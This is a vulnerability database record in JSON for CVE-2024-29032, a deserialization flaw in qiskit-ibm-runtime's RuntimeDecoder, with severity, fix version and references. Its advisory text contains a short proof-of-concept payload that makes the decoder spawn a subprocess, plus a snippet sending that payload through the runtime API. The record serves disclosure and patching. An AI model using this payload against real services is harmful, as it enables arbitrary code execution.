{"id":"CVE-2024-29032","aliases":["GHSA-x4x5-jv3x-9c7m","PYSEC-2026-1858"],"url":"https://o3.security/vulnerability/CVE-2024-29032","summary":"`qiskit_ibm_runtime.RuntimeDecoder` can execute arbitrary code","details":"### Summary\n\ndeserializing json data using `qiskit_ibm_runtime.RuntimeDecoder` can be made to execute arbitrary code given a correctly formatted input string\n\n### Details\n\n`RuntimeDecoder` is supposed to be able to deserialize JSON strings containing various special types encoded via `RuntimeEncoder`. However, one can structure a malicious payload to cause the decoder to spawn a subprocess and execute arbitrary code, exploiting this block of code: https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159\n\n### PoC\n\n```python\nmalicious_data = {\n    \"__type__\": \"settings\",\n    \"__module__\": \"subprocess\",\n    \"__class__\": \"Popen\",\n    \"__value__\": {\n        \"args\": [\"echo\", \"hi\"]\n    },\n}\njson_str = json.dumps(malicious_data)\n\n_ = json.loads(json_str, cls=qiskit_ibm_runtime.RuntimeDecoder)  # prints \"hi\" to the terminal\n```\n(where obviously \"echo hi\" can be replaced with something much more malicious)\n\nnotably the following also makes it through the runtime API, with `malicious_data` serialized client-side via `RuntimeEncoder` (and therefore presumably deserialized server-side via `RuntimeDecoder`?)\n```python\nservice = qiskit_ibm_runtime(<ibm_cloud_credentials>)\njob = service.run(\"qasm3-runner\", malicious_data)\nprint(job.status())  # prints \"JobStatus.QUEUED\"\n```\n\n### Impact\n\ni don't know if `qiskit_ibm_runtime.RuntimeDecoder` is used server-side so this may or may not be a serious vulnerability on your end (however it's definitely a security hole for anyone using the library to deserialize third-party data)","published":"2024-03-20T20:30:38.954Z","modified":"2026-08-12T03:51:16.595005621Z","cvss":{"score":5.3,"severity":"MEDIUM","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L"},"epss":null,"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"PyPI","name":"qiskit-ibm-runtime","fixedVersion":"0.21.2"}],"fix":{"url":"https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d","label":"Qiskit/qiskit-ibm-runtime@b78fca1"},"references":[{"type":"WEB","url":"https://github.com/Qiskit/qiskit-ibm-runtime/blob/16e90f475e78a9d2ae77daa139ef750cfa84ca82/qiskit_ibm_runtime/utils/json.py#L156-L159"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2024/29xxx/CVE-2024-29032.json"},{"type":"ADVISORY","url":"https://github.com/Qiskit/qiskit-ibm-runtime/security/advisories/GHSA-x4x5-jv3x-9c7m"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-29032"},{"type":"FIX","url":"https://github.com/Qiskit/qiskit-ibm-runtime/commit/b78fca114133051805d00043a404b25a33835f4d"},{"type":"PACKAGE","url":"https://github.com/Qiskit/qiskit-ibm-runtime"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:16.595005621Z"}}